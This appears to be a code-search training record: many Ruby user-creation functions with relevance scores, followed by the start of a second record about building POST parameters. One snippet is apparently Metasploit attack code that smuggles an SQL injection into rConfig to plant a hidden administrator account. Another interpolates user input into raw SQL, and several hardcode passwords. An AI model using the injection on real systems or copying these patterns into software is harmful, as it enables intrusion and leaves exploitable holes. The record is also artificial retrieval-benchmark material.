get_db_as_hash().execute(\"INSERT INTO user(mail, password_digest, date_joined, admin) VALUES (?, ?, ?, ?)\", mail, password_digest, date_joined, admin)\n end", "def create_user(attributes)\n BrickFTP::API::User.create(attributes)\n end", "def create_user(attributes)\n BrickFTP::API::User.create(attributes)\n end", "def create\n first_name, last_name, email, password = *params.values_at(:first_name, :last_name, :email, :password)\n\n if [first_name, last_name, email, password].any?(&:blank?)\n return render_success({status:\"error\", message: 'invalid create parameters'})\n end\n\n #User already exists\n if User.exists?(email: email.downcase)\n return render_success({status:\"error\", message:\"user already exists\"})\n end\n #create user\n User.transaction do\n @user = User.new(\n name: (first_name + \" \" + last_name).titleize,\n email: email.downcase,\n password: password,\n password_confirmation: password\n )\n if @user.save!\n render_success({status:\"success\", message:\"created\"})\n else\n render_success({status:\"error\", message:\"user creation failed\"})\n end\n end\n end", "def create_user(params)\n unless user = User.find_by_username(params[:username])\n params[:password_confirmation] = params[:password]\n user = User.create!(params)\n end\n user\nend", "def create\n @user = User.new(params[:user])\n if @user.save\n UserMailer.registration_confirmation(@user).deliver\n sign_in @user\n @administrator = Administrator.new\n @administrator.user_id = @user.id\n @administrator.admin = false\n @administrator.status = true\n @administrator.save\n flash[:success] = 'Welcome to BestBay!'\n redirect_to root_path\n else\n render 'new'\n end\n end", "def createAdmin\n success = false\n @user = User.new(params[:user])\n if (!session[:user] || session[:user].admin == 0)\n flash[:notice] = \"Only administrators can create administrators\"\n else\n success = @user.save\n end\n\n respond_to do |format|\n if success\n flash[:notice] = \"Administratyor #{@user.name} was successfully created.\"\n format.html { redirect_to(:action => 'index') }\n else\n format.html { render :action => \"newAdmin\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def sign_up(name:, user_name:)\n user_name = user_name.downcase\n return SYNTAX_ERROR if include_punctuation?(user_name)\n return TOO_LONG_ERROR if too_long?(user_name)\n return TOO_SHORT_ERROR if too_short?(user_name)\n\n @user_class.add(name: name, user_name: user_name)\n end", "def create\n #logout_keeping_session!\n @new_user = User.new(params[:new_user])\n @new_user.role_id = params[:new_user][:role_id].to_i\n @new_user.user_login = params[:new_user][:user_login].downcase\n #params[:new_user][:admin] == \"1\" ? @new_user.admin = true : @user.admin = false\n success = @new_user && @new_user.save\n if success && @new_user.errors.empty?\n # Protects against session fixation attacks, causes request forgery\n # protection if visitor resubmits an earlier form using back\n # button. Uncomment if you understand the tradeoffs.\n # reset session\n # self.current_user = @user # !! now logged in\n redirect_back_or_default('/')\n flash[:notice] = \"New User Created.\"\n else\n flash[:notice] = \"Failed to add a new user. Please contact the site administrator.\"\n render :action => 'new'\n end\n end", "def create\n\t\t#get the user info\n\t\t\n\t\tauth = request.env[\"omniauth.auth\"]\n\t\tif auth == nil and \n\t\t\tif session[:temp] == true\n\t\t\t auth = {:info => {:email => \"jkoshakow@wesleyan.edu\"} }\n\t\t\telse\n\t\t\t auth = {:info => {:email => \"koshy44@gmail.com\"} }\t\n\t\t\tend\n\t\tend\n\t\t#whitelist \n\t\tif auth[:info][:email].to_s =~ /.+@wesleyan.edu/\n\t\t\tuser = User.find_by_uid(auth[\"uid\"]) || User.createUser(auth)\n\t\t\tsession[:user_id] = user.id \n\t\t\tsession[:admin] = user.admin\n\t\t\tsession[:authenticated] = true\n\t\t\tredirect_to links_path\n\t\telse\n\t\t\tsession[:authenticated] = false\n\t\t\tsession[:error] = \"Must have a wesleyan email address\"\n\t\t\tredirect_to root_path\n\t\tend\t\n\tend", "def create\n @admin_user = Admin::User.new(admin_user_params)\n \n if @admin_user.password.blank?\n secure_password = @admin_user.generate_password \n @admin_user.password = secure_password\n @admin_user.password_confirmation = secure_password\n end\n\n respond_to do |format|\n if @admin_user.save\n format.html { redirect_to admin_users_path, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @admin_user }\n else\n format.html { render :new }\n format.json { render @admin_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.new(params[:user])\n @user.company_id = current_user.company_id\n\n password = @user.password.nil? ? @user.generate_password : false\n \n if @user.save && params.has_key?(:multiselect_user_grouping_ids)\n @user.update_groupings(params[:user][:grouping_ids])\n @user.notify_account(password) if password\n params.has_key?(:multiselect_user_role_ids) ? @user.update_roles(params[:user][:role_ids]) : @user.add_employee_role\n gflash :success => \"User created.\"\n else\n @user.errors[:base] << \"You must assign the user to one or more groups.\" unless params.has_key?(:user_groupings)\n @assigned_groups = current_user.root_grouping.id\n end\n \n respond_with(@user)\n end", "def createUser(nickname) \n usr = User.new(nickname)\n backend_addUser(usr) \n end", "def create\n @user = User.new(\n email: params[:user][:email],\n password: params[:user][:password],\n password_confirmation: params[:user][:password_confirmation],\n admin: params[:user][:admin],\n master: params[:user][:master]\n )\n\n e = -> (ex) {\n flash[:alert] = ex.message\n session[:form] = {\n email: params[:user][:email],\n admin: params[:user][:admin],\n master: params[:user][:master],\n }\n redirect_to(action: :new)\n }\n\n begin\n @user.save!\n rescue => ex\n e.(ex) and return\n end\n\n begin\n #TODO カレントユーザーでZabbixとコネクションを張れるようにする\n s = AppSetting.get\n z = Zabbix.new(s.zabbix_user, s.zabbix_pass)\n z.create_user(@user)\n rescue => ex\n @user.destroy\n e.(ex) and return\n end\n\n flash[:notice] = I18n.t('users.msg.created')\n redirect_to(action: :index) and return\n end", "def create\n\t\t@user = User.new(user_new_params)\n\t\trespond_to do |format|\n\t\t\tif @user.save_dependent params[:setting_id], user_params[:admin]\n\t\t\t\tformat.html { redirect_to users_manage_users_url, notice: 'User was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @user }\n\t\t\telse\n\t\t\t\tformat.html { redirect_to users_manage_users_url, warn: 'An error prevented user creation.' }\n\t\t\t\tformat.json { render json: @user.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create_a_user(password: 'secret!!')\n User.create! email: \"101glover@gmail.com\",\n password: password\n end", "def create_user\n # provide the interface asking for name, destination and duration\n # then, create and store the User object\n end", "def create_user(email, name, pw)\n user = User.find_or_create_by(username: name) do |u|\n u.email = email\n u.username = name\n u.password = pw\n u.password_confirmation = pw\n end\n user\nend", "def add_user!(current_user , user, is_admin:)\n raise_if_user_is_owner(user)\n\n if(!user_exists?(current_user))\n raise SecurityError.new \"No Permissions\"\n end\n #check if user is present\n \n if(!user.persisted?)\n raise ArgumentError.new \"The user is not persisted\"\n end\n\n\n current_user_role = participants.find_by(user_id: current_user.id)\n if super_admin == current_user || current_user_role.member_type == Course.roles[\"admin\"] \n if is_admin\n participants.create(user_id: user.id, member_type: Course.roles[\"admin\"])\n return true\n else\n participants.create(user_id: user.id, member_type: Course.roles[\"participant\"])\n return true\n end\n end\n if current_user_role.member_type == Course.roles[\"participant\"] && public && !is_admin\n participants.create(user_id: user.id, member_type: Course.roles[\"participant\"])\n return true\n end\n\n\n raise SecurityError.new \"No Permissions\"\n end", "def create_a_user!(username = \"foo\")\n User.create! :username => username, :email => \"foo@bar\", :id => 4, :password => \"zot\"\n end", "def create_user\n\t \to = [('a'..'z'), ('1'..'9')].map { |i| i.to_a }.flatten\n\t \tstring = (0...9).map { o[rand(o.length)] }.join\n\t \t@user = User.create( username: params[:user][:username],password: string ,rol: params[:user][:rol], name: params[:user][:name], carrier: params[:user][:carrier], email: params[:user][:email], landline: params[:user][:landline], cell_phone: params[:user][:cell_phone], container: params[:user][:cell_phone], liquid_charge: params[:user][:liquid_charge], dry_charge: params[:user][:dry_charge] )\n\t \trespond_to do |format|\n\t \t\tif @user.save\n\t \t\t\tflash[:notice] = 'Se ha creado un nuevo usuario'\n\t \t\t\tformat.html { redirect_to users_path }\n\t \t\t\tformat.js {}\n\t \t\t\tformat.json { render :show, status: :created, location: @user }\n\t \t\telse\n\t \t\t\twarden.custom_failure!\n\t \t\t\tformat.html { render :new }\n\t \t\t\tformat.json { render json: @user.errors, status: :unprocessable_entity }\n\t \t\tend\n\t \tend\n\t end", "def create_rconfig_user(user, _password)\r\n vprint_status 'STEP 1 : Adding a temporary admin user...'\r\n fake_id = Rex::Text.rand_text_numeric(3)\r\n fake_pass = Rex::Text.rand_text_alpha(10)\r\n fake_pass_md5 = '21232f297a57a5a743894a0e4a801fc3' # hash of 'admin'\r\n fake_userid_md5 = '6c97424dc92f14ae78f8cc13cd08308d'\r\n userleveladmin = 9 # Administrator\r\n user_sqli = \"command ; INSERT INTO `users` (`id`,`username`,`password`,`userid`,`userlevel`,`email`,`timestamp`,`status`) VALUES (#{fake_id},'#{user}','#{fake_pass_md5}','#{fake_userid_md5}',#{userleveladmin}, '#{user}@domain.com', 1346920339, 1);--\"\r\n sqli_res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, '/commands.inc.php'),\r\n 'method' => 'GET',\r\n 'vars_get' => {\r\n 'search' => 'search',\r\n 'searchOption' => 'contains',\r\n 'searchField' => 'vuln',\r\n 'searchColumn' => user_sqli\r\n }\r\n )\r\n unless sqli_res\r\n print_warning('Failed to create user: Connection failed.')\r\n return\r\n end\r\n print_good \"New temporary user #{user} created\"\r\n end", "def create\n @user = User.new(params[:user])\n if current_user.admin?\n @user.admin = params[:user][:admin].to_i rescue 0\n end\n\n respond_to do |format|\n if @user.save\n flash[:notice] = 'Account created'\n format.html { redirect_to user_url(@user) }\n format.xml { head :created, location: user_url(@user) }\n else\n format.html { render action: 'new' }\n format.xml { render xml: @user.errors.to_xml }\n end\n end\n end", "def create\n if current_user && current_user.admin? \n @user = User.new(params[:user])\n if @user.save\n flash[:notice] = 'User was successfully created.'\n redirect_to user_path(@user)\n else\n respond_with(@user.errors, :status => :unprocessable_entity) do |format|\n format.html { render :action => :new }\n end\n end\n else\n flash[:notice] = 'You do not have Admin rights to create a user'\n redirect_to :back\n end\n end", "def create_admin(options={})\n Admin.create({\n email: \"admin@admin.com\",\n password: \"12345678\"\n }.merge(options))\n end", "def create_user params, send_info_email = false\n if params[:email] && !params[:email].empty?\n email = params[:email].downcase\n else\n email = params[:person_identifier] + '@example.com' if params[:person_identifier]\n end\n\n if email && email =~ /\\A[^@]+@[^@]+\\z/\n u = User.find_by_email(email)\n email_correct = true\n end\n return u if u\n\n # no existing user, create new\n u = User.new\n u.email = email\n\n unless email_correct \n while User.find_by_email(u.email)\n if params[:first_name] && !params[:first_name].empty? && params[:last_name] && !params[:last_name].empty?\n identifier = params[:first_name] + '.' + params[:last_name] + SecureRandom.hex(5)\n else\n identifier = SecureRandom.hex(15)\n end\n u.email = identifier + '@example.com'\n end\n end\n\n if params[:password] && !params[:password].empty?\n pw = params[:password]\n else\n pw = SecureRandom.base64(5)\n end\n u.password = pw\n u.password_confirmation = pw\n\n u.first_name = params[:first_name]\n u.last_name = params[:last_name]\n if params[:display_name]\n u.display_name = params\n elsif u.first_name && u.last_name\n u.display_name = u.first_name + ' ' + u.last_name\n end\n\n u.skip_confirmation! if User.respond_to? 'skip_confirmation!' # skip the confirmation email, that would be automatically sent by devise\n AuditoriumMailer.automatically_generated_user(u.email, password).deliver if send_info_email unless u.email.include? '@example.com'\n\n u.save\n u\n end", "def create\n\n @user = User.new(params[:user])\n if !is_admin?\n @user.role = \"Member\"\n end\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.'}\n format.json { render json: @user, status: :created, location: @user }\n else\n if !is_admin?\n format.html { render \"signup\"}\n format.json { render json: @user.errors, status: :unprocessable_entity }\n else\n if @superadmin_user\n @role_options = [\"Administrator\", \"Member\"]\n else\n @role_options = [\"Member\"]\n end\n format.html {render \"new\"}\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n\n end\n end\n end", "def create_user(description= {})\n request(Net::HTTP::Post, \"/api/#{API_VERSION}/user\", nil, description, true)\n end", "def create_user(login = nil, password = nil, email = nil)\n @login = login || get_member_login\n @password = password || get_member_password\n @email = email || get_member_email\n login_member rescue create_member rescue member_taken\n setup_discovery\n @key = ::OpenPGP::Armor.encode(Digest::SHA2.new(256).digest(@password))\n @discovery['encryption_key'] = @key\n @member.update(:profile => @discovery)\n @cipher = Gibberish::AES.new(@key)\n\t\t@reg_response = new_sub(@discovery['registration_response'])\n\t\t@command_id = rand(99999999)\n\t\t@reg_response.last = (Time.now.to_i * 1000 * 1000) - 5\n\t\t@reg_response.add_listener('message', 'reg_response') {|m|\n begin\n user_created(m.content)\n rescue\n puts \"Error with user created: #{$!}\"\n pp $!.backtrace\n end\n }\n\t\t@reg_response.start_listening\n\t\t@create_player_channel = new_channel(@discovery['registration'])\n\t\thsh = {'login' => @login, 'id' => @command_id}\n\t\t@create_player_channel.publish(hsh.to_json)\n\t\twait_for_player_to_be_created\n\tend", "def create_user\n return @user.send_confirmation_instructions if @user\n\n @user = User.create!(new_agent_params.slice(:email, :name, :password, :password_confirmation))\n end", "def create_new_user\n username = find_username\n @user = User.new(\n email: auth_email,\n username: username,\n password: Devise.friendly_token[0, 20]\n )\n @user.skip_confirmation!\n @user.save!\n\n @user\n end", "def add_user_to_group(username, groupname)\n\t\t\t\tif !user?(username)\n\t\t\t\t\traise(NoSuchUserError, \"No such user: #{username}\")\n\t\t\t\tend\n\n\t\t\t\tif !group?(groupname)\n\t\t\t\t\traise(NoSuchGroupError, \"No such user: #{groupname}\")\n\t\t\t\tend\n\t\t\tend", "def create\n @user = User.new(user_params)\n @user.is_administrator = false\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to login_url, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: login_url }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_user\n # first insert into user_secrets and use it's id in users table\n @user_secret = UserSecret.using_client_shard(client: @client).create!(login_salt: @login_salt_hash[:ciphertext_blob])\n\n password_e = User.using_client_shard(client: @client).get_encrypted_password(@password, @login_salt_hash[:plaintext])\n\n @user = User.using_client_shard(client: @client).new(\n client_id: @client_id,\n email: @email,\n password: password_e,\n user_secret_id: @user_secret.id,\n status: GlobalConstant::User.active_status,\n last_logged_in_at: Time.now.to_i\n )\n\n @user.send(\"set_\" + GlobalConstant::User.doptin_mail_sent_property) if @client.is_verify_page_active_for_client?\n @user.save!\n end", "def create\n user = user_admin_params\n invite_only = UserAdmin.find_by(username: 'invite_only') unless cookies[:authentication_token].present? || params[:user_type].eql?('normal')\n if (cookies[:authentication_token].present?) || (invite_only.valid_password? params[:invite_password] )\n @user_admin = UserAdmin.new(user_admin_params.merge(user_type: 'admin'))\n @user_admin.encrypt_password(user[:password])\n end \n if @user_admin.valid?\n respond_to do |format|\n if @user_admin.save\n flash[:notice] = \"Congrats! User Account Created!\"\n format.html { redirect_to admin_homepage_path, notice: 'Account Successfully Created!.' }\n format.json { render :show, status: :created, location: @user_admin }\n else\n format.html { render :new }\n format.json { render json: @user_admin.errors, status: :unprocessable_entity }\n end\n end\n else \n if cookies[:authentication_token].nil?\n flash[:danger] = @user_admin.errors.full_messages.join(' <br>') || \"Need an Invite Code to become an Admin. \"\n redirect_to :back\n else \n flash[:danger] = \"One user already has an account name with username #{params[:user_admin][:username]}\"\n redirect_to :back\n end \n end\n end", "def create\n @admin_user = User.new(admin_user_params)\n\n respond_to do |format|\n if @admin_user.save\n format.html { redirect_to @admin_user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @admin_user }\n else\n format.html { render :new }\n format.json { render json: @admin_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_user\n params = {\n :client_id => Swiftype.platform_client_id,\n :client_secret => Swiftype.platform_client_secret\n }\n post(\"users.json\", params)\n end", "def sign_up(useremail, password)\n if new_user_available(useremail)\n query = \"INSERT INTO Users (useremail, password) VALUES('#{useremail}', '#{password}')\"\n @connection.exec(query)\n end\n end", "def create\n checkexists = User.find_by(email: user_params[:email], organization_id: user_params[:organization_id])\n\tif checkexists\n\t\tflash[:danger] = 'A user with this email address already exists within the specified organization'\n\t\tredirect_to '/signup.html'\n\telse\n\t\t@user = User.new(user_params)\n\t\t@user.write_attribute(:is_admin, false)\n\t\tif @user.save\n\t\t\trender 'show'\n\t\telse\n\t\t\trender 'new'\n\t\tend\n\tend\n end", "def create_user_type(type)\n if User.find_by_username(type).nil?\n User.create({ \n email: \"#{type}@#{type}.com\", \n username: \"#{type}\",\n university: University.first,\n role: User.roles[type],\n password: 'password',\n encrypted_password: Devise.bcrypt(User, 'password')\n })\n end\nend", "def create\n # Note this is different to the usual situation where anybody can create\n # an account. Here, only administrators can create accounts for others;\n # and doing so does not log them out.\n unless current_user.admin?\n flash[:error] = \"Users can only be created by administrators.\"\n redirect_to (request.env[\"HTTP_REFERER\"] || root_path) and return\n end\n \n @user = User.new(params[:user])\n success = @user && @user.save\n if success && @user.errors.empty?\n # Protects against session fixation attacks, causes request forgery\n # protection if visitor resubmits an earlier form using back\n # button. Uncomment if you understand the tradeoffs.\n # reset session\n redirect_to users_path\n flash[:notice] = \"The account #{ERB::Util.h @user.login} has been setup for #{ERB::Util.h @user.name}.\"\n else\n flash.now[:error] = \"We couldn't set up that account, sorry.\"\n render :action => 'new'\n end\n end" ]
[ "0.74102163", "0.70958275", "0.6916647", "0.6797854", "0.67274743", "0.6696694", "0.66553926", "0.6602645", "0.6584447", "0.657968", "0.64916205", "0.6489494", "0.64694524", "0.64689106", "0.64538413", "0.6453691", "0.64517474", "0.64502895", "0.6430834", "0.64282066", "0.641812", "0.6406808", "0.64026654", "0.63956857", "0.6384521", "0.6372681", "0.6363608", "0.63489443", "0.6346629", "0.6346537", "0.6339302", "0.6338019", "0.632675", "0.630058", "0.6286445", "0.627625", "0.62677944", "0.6256437", "0.6247332", "0.6231749", "0.62213045", "0.62213045", "0.6220818", "0.6214042", "0.6213135", "0.6192042", "0.6160062", "0.61585677", "0.6157899", "0.6145508", "0.61363494", "0.61338794", "0.6129326", "0.61293167", "0.61229503", "0.612191", "0.61165875", "0.6112014", "0.6097946", "0.6095029", "0.609406", "0.6093258", "0.6085217", "0.6082615", "0.6079673", "0.60703987", "0.6070121", "0.6068185", "0.6064759", "0.6062689", "0.6057707", "0.60548353", "0.60457873", "0.6033112", "0.60308564", "0.6021357", "0.6017193", "0.6012588", "0.6002969", "0.60015583", "0.6001473", "0.5998538", "0.5993576", "0.5992809", "0.59914666", "0.5981208", "0.5976405", "0.5976138", "0.5972364", "0.59616345", "0.5958077", "0.5956604", "0.5956231", "0.59535027", "0.5939236", "0.593675", "0.59279543", "0.5925775", "0.59256005", "0.59215087" ]
0.89066535
0
Retrieve all the variables and setup as a hash for doing a POST
def get_post_variables @data = {} @response_text.scan(/NAME=(\w+) TYPE=hidden VALUE="([^"]*)/) do |name, value| @data[name] = value end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_post_variables\r\n\t\t\t@data = {}\r\n\t\t\t@response_text.scan(/NAME=(\\w+) TYPE=hidden VALUE=\"([^\"]*)/) do |name, value|\r\n\t\t\t\t@data[name] = value\r\n\t\t\tend\r\n\t\tend", "def post_parameters\n request.POST\n end", "def post_data\n @request[\"postData\"]\n end", "def buildSubmissionVariables(data)\r\n data = data['submission']\r\n data.keys.each do |key|\r\n # Build Up Submission Properties (non hash / arrays)\r\n if !data[key].is_a?(Hash) && !data[key].is_a?(Array)\r\n @variables['submission'][key] = data[key]\r\n end\r\n\r\n # Pass Form Object to the Build Form Variables Routine to Handle the Rest\r\n if key == \"form\"\r\n buildFormVariables({\"form\" => data[key]})\r\n end\r\n\r\n # Build Submission Values Variables\r\n if key == \"values\"\r\n @variables['values'] = data[key]\r\n end\r\n\r\n end\r\n end", "def post_params\n postParams = params\n end", "def post_data; end", "def params\n\t if method == :post\n#\t\t @post_params.instance_variable_get(\"@hash\")\n\t\t @post_params\n\t else\n#\t\t @get_params.instance_variable_get(\"@hash\")\n\t\t @get_params\n\t end\n end", "def post_params\n \t\t#je push le user id dans mon hash\n \t\ttemp_params = params.require(:post).permit(:title, :content, :user_id)\n \t\ttemp_params.merge!(user_id: session[:user_id])\n \t\tprint temp_params\n \t\treturn temp_params\n \tend", "def post_params\n \t\t#je push le user id dans mon hash\n \t\ttemp_params = params.require(:post).permit(:title, :content, :intro, :image, :user_id)\n \t\ttemp_params.merge!(user_id: session[:user_id])\n \t\tprint temp_params\n \t\treturn temp_params\n \tend", "def post_data(action, parameters = {})\n post = {}\n post[:action] = action\n post[:usepost] = 1\n post[:acctid] = @options[:test] ? 'TEST0' : @options[:login]\n post[:merchantpin] = @options[:password] if @options[:password] && !@options[:test]\n\n request = post.merge(parameters).map {|key,value| \"#{key}=#{CGI.escape(value.to_s)}\"}.join(\"&\")\n request\n end", "def post_params\n params.fetch(:post, {})\n end", "def post_params\n params.fetch(:post, {})\n end", "def post_params\n params.fetch(:post, {})\n end", "def post_params\n params.fetch(:post, {})\n end", "def form_fields\n base_json = base_params\n base_json[:nonce] = SecureRandom.hex(15)\n hmac_fields = (base_json.keys + ['hmac_fields']).sort.uniq!\n\n base_json[:hmac_fields] = hmac_fields.join(',')\n hmac_string = hmac_fields.map { |key, _v| \"#{key}=#{base_json[key]}\" }.join('&')\n hmac = OpenSSL::HMAC.hexdigest('sha1', KEY, hmac_string)\n base_json[:hmac] = hmac\n\n base_json\n end", "def POST; end", "def post_data(action, parameters = {})\n\n # Init default hash\n keys = []\n\n # Create the data hash with mendatory fields\n data = { userName: @options[:login],\n password: @options[:password],\n termNo: @options[:terminal_no],\n shopNo: @options[:shop_no] }\n\n # Merge the params into the final hash\n data.merge!(parameters)\n\n # Check action\n case action\n when \"sale\"\n keys = [:creditCard, :creditCardDateMmyy, :token, :total, :currency, :cvv2, :id, :authNum,\n :parmx]\n when \"authonly\"\n keys = [:creditCard, :creditCardDateMmyy, :token, :total, :currency, :cvv2, :id, :parmx]\n when \"check_error\"\n keys = [:code]\n when \"check_login\"\n keys = []\n else\n raise ArgumentError, \"Action: #{action} is not supported\"\n end\n \n # Ensure all fields are inserted. If not create them blank\n keys.each { |x| check_or_create_for!(data, x) }\n\n # Turn the hash into a string\n data.collect { |key, value| \"#{key}=#{CGI.escape(value.to_s)}\" }.join(\"&\")\n end", "def request_data\n data = {}\n data[:user_agent] = request.user_agent\n data[:referrer] = request.referrer\n data[:remote_ip] = request.remote_ip\n data\n end", "def request_data\n data = {}\n # Also for convenience store name and version\n data[:browser_name] = browser.name\n data[:browser_version] = browser.version\n data[:referrer] = session[:referrer]\n data[:remote_ip] = request.remote_ip\n data[:user_agent] = request.user_agent\n data\n end", "def convert_fcgi_post(params, args = nil)\n post_hash = {}\n \n params.each do |key, realval|\n val = realval.first\n classn = val.class.name\n \n #Sometimes uploaded files are given as StringIO's.\n if classn == \"StringIO\" or classn == \"Tempfile\"\n val = Hayabusa::Http_session::Post_multipart::File_upload.new(\n :fname => val.original_filename,\n :data => val\n )\n end\n \n post_hash[key] = val\n end\n \n post_ret = {}\n post_hash.each do |varname, value|\n Knj::Web.parse_name(post_ret, varname, value)\n end\n \n return post_ret\n end", "def params\n self.GET.update(self.POST)\n rescue EOFError => boom\n self.GET\n end", "def params() request.params end", "def submit_hash\n hash=Hash.new\n\n hash[:id]=\"test\"+self.id.to_s\n\n # this should add classes to be used by Javascript to the submit buttons\n # e.g. <input type=\"button\" ...=submit ... geoLocation=\"true\">\n self.dynamic_params.each do |param|\n hash[param.value]=\"true\"\n end\n return hash\n end", "def body_parameters\n p = Hash.new\n p\n end", "def body\n { 'query' => query, 'variables' => variables }\n end", "def body\n { 'query' => query, 'variables' => variables }\n end", "def body\n { 'query' => query, 'variables' => variables }\n end", "def body\n { 'query' => query, 'variables' => variables }\n end", "def signin_post_data(username, password)\n @form.css('input#username').first['value'] = username\n @form.css('input#password').first['value'] = password\n input_data_hash = form.css('input').map do |x|\n {\n :name => x['name'],\n :type => x['type'],\n :value => (x['value'] || nil)\n }\n end\n input_data_hash.select{|x| x[:name] == 'authenticity_token' }.first[:value] = @header_csrf_token\n input_data_hash\n end", "def payload\n PARAMS.each_with_object({}) do |k, hash|\n hash[k] = send(k)\n end\n end", "def post_data=(_arg0); end", "def get_reqd_params_and_values \n# logger.info \"get_reqd_params_and_values----------------------\"\n values = {}\n i = 1\n while !params[:rparams_.to_s + \"#{i}\"].nil?\n if(!params[:rparams_.to_s + \"#{i}\"].empty?)\n value = params[:rparam_values_.to_s + \"#{i}\"].map!{|i| CGI::unescape(i).gsub(\"\\\"\", \"'\")}\n # logger.info \"--------------\"+params[:rparam_values_.to_s + \"#{i}\"].to_s\n values[params[:rparams_.to_s + \"#{i}\"]] = value \n end \n i += 1\n end\n # logger.info \"--------------\"+values.to_s\n values\nend", "def get_post_body(name, params)\n { 'method' => name, 'params' => params, 'id' => 'jsonrpc' }\n end", "def post_params(method, params)\n p = params ? params.clone : {}\n p.delete :post\n sign_params(method, p)\n \n # since we're using Net::HTTP.post_form to do the call,\n # CGI escape is already done for us, so, no escape here\n # p.keys.each { |k| p[k] = CGI.escape(p[k].to_s) } \n p\n end", "def variables\n {\n 'input' => {\n 'intentId' => intent_id,\n 'environmentName' => @app_env,\n 'cron' => @cron,\n 'taskName' => @task.class.name,\n 'programmingLanguage' => 'RUBY',\n 'properties' => @serializer.encode(@properties.from(@task))\n }\n }\n end", "def get_form_vars\n @sm = @edit[:sm_id] ? StorageManager.find_by_id(@edit[:sm_id]) : StorageManager.new\n\n @edit[:new][:name] = params[:name] if params[:name]\n @edit[:new][:hostname] = params[:hostname] if params[:hostname]\n @edit[:new][:ipaddress] = params[:ipaddress] if params[:ipaddress]\n @edit[:new][:port] = params[:port] if params[:port]\n @edit[:new][:sm_type] = params[:sm_type] if params[:sm_type]\n # @edit[:new][:agent_type] = params[:agent_typ] if params[:agent_typ]\n @edit[:new][:zone] = params[:server_zone] if params[:server_zone]\n\n @edit[:new][:userid] = params[:userid] if params[:userid]\n @edit[:new][:password] = params[:password] if params[:password]\n @edit[:new][:verify] = params[:verify] if params[:verify]\n restore_password if params[:restore_password]\n set_verify_status\n end", "def post_params\n params[:post]\n end", "def hash\n [allow_insecure_certificates, basic_auth, body, body_type, cookies, device_ids, follow_redirects, headers, locations, metadata, public_id, _retry, start_url, variables].hash\n end", "def request_post_data(request_hash)\r\n \"#{hash2cgiString(request_hash)}&#{hash2cgiString(@cre)}&#{hash2cgiString(@ci)}\"\r\n end", "def request_body\n request_body = {\n :active => 'true',\n :category => 'Other',\n :subcategory => 'Other',\n :u_service_provider => 'Duke University',\n :u_it_service => 'Public Computing Labs',\n :service_offering => 'Public Computing Labs Offering',\n :contact_type => 'email',\n :description => 'This is the lengthier description!',\n :impact => 'Individual',\n :urgency => 'Medium',\n :priority => 'Low',\n :incident_state => 'New',\n :notify => '1',\n :state => '1',\n :assignment_group => 'Service Desk-OIT',\n :short_description => 'This is the title of the the ticket!',\n :caller_id => CALLER\n }\n end", "def request_parameters; end", "def POST\n @env[\"action_controller.request.request_parameters\"] ||= begin\n normalize_parameters(super || {})\n rescue\n {}\n end\n end", "def request_parameters\n {:email => @email, :receiverid => @receiverid, :amt => @amt,\n :uniqueid => @unique, :note => @note}.reject{|k,v| v.nil? }\n end", "def extract_params()\n param = extract_params_pm()\n param[:dureeCours] = @dureeCours\n param[:dureeTP] = @dureeTP\n param[:quadri] = @quadri\n param[:professeur] = @professeur\n return param\n end", "def paypal_request_variables\n {}\n end", "def build_vars\n\n end", "def collect_parameters\n @device_id = params[:device_id]\n @email = params[:email]\n @latitude = params[:latitude]\n @longitude = params[:longitude] \n @status = params[:status]\n @user_name = params[:user_name]\n @auth_token = params[:auth_token]\n @user\n end", "def get_params(env)\n req = ActionDispatch::Request.new(env)\n req.GET.merge(req.POST)\n end", "def get_params(env)\n req = ActionDispatch::Request.new(env)\n req.GET.merge(req.POST)\n end", "def raw_post\r\nunless @env.include? 'RAW_POST_DATA'\r\nraw_post_body = body\r\n@env['RAW_POST_DATA'] = raw_post_body.read(@env['CONTENT_LENGTH'].to_i)\r\nraw_post_body.rewind if raw_post_body.respond_to?(:rewind)\r\nend\r\n@env['RAW_POST_DATA']\r\nend", "def to_h\n post_hash = {}\n basics = [:post_id, :type, :date, :tags, :format, :group, :generator,\n :slug, :state, :send_to_twitter, :publish_on, :reblog_key]\n params = basics.select {|opt| respond_to?(opt) && send(opt) }\n params |= self.class.parameters.select {|opt| send(opt) } unless self.class.parameters.blank?\n params.each { |key| post_hash[key.to_s.gsub('_','-').to_sym] = send(key) } unless params.empty?\n post_hash[:private] = 1 if private?\n post_hash\n end", "def request_params; end", "def form_data\n session[\"form_data\"].nil? ? params : JSON.parse(session[\"form_data\"])\n end", "def variables\n {\n 'customId' => @custom_id,\n 'environmentName' => @app_env,\n 'programmingLanguage' => 'RUBY',\n 'workflowName' => @workflow_name\n }\n end", "def raw_post; end", "def post\n request_object.post_query\n end", "def request_body\n MAPPING.keys.inject({}) do |mem, e|\n next mem unless value = send(e)\n mem.merge!(e.to_s => value.to_json)\n end\n end", "def to_submission_data(user)\n form4142 = EVSS::DisabilityCompensationForm::Form4142.new(user, @form_hash.deep_dup).translate\n form0781 = EVSS::DisabilityCompensationForm::Form0781.new(user, @form_hash.deep_dup).translate\n form8940 = EVSS::DisabilityCompensationForm::Form8940.new(user, @form_hash.deep_dup).translate\n\n form526 = @form_hash.deep_dup\n\n form526_uploads = form526['form526'].delete('attachments')\n\n {\n FORM_526 => translate_data(user, form526, form4142.present?),\n FORM_526_UPLOADS => form526_uploads,\n FORM_4142 => form4142,\n FORM_0781 => form0781,\n FORM_8940 => form8940\n }.to_json\n end", "def valid_post_hash\n {\n :from_location_id => Location.first.id,\n :to_location_id => Location.last.id,\n :available_seats => 2,\n :total_price => 2,\n :departure_date => SpClock.date,\n :departure_time => SpClock.time,\n :duration_in_minutes => 15,\n :ride_type => 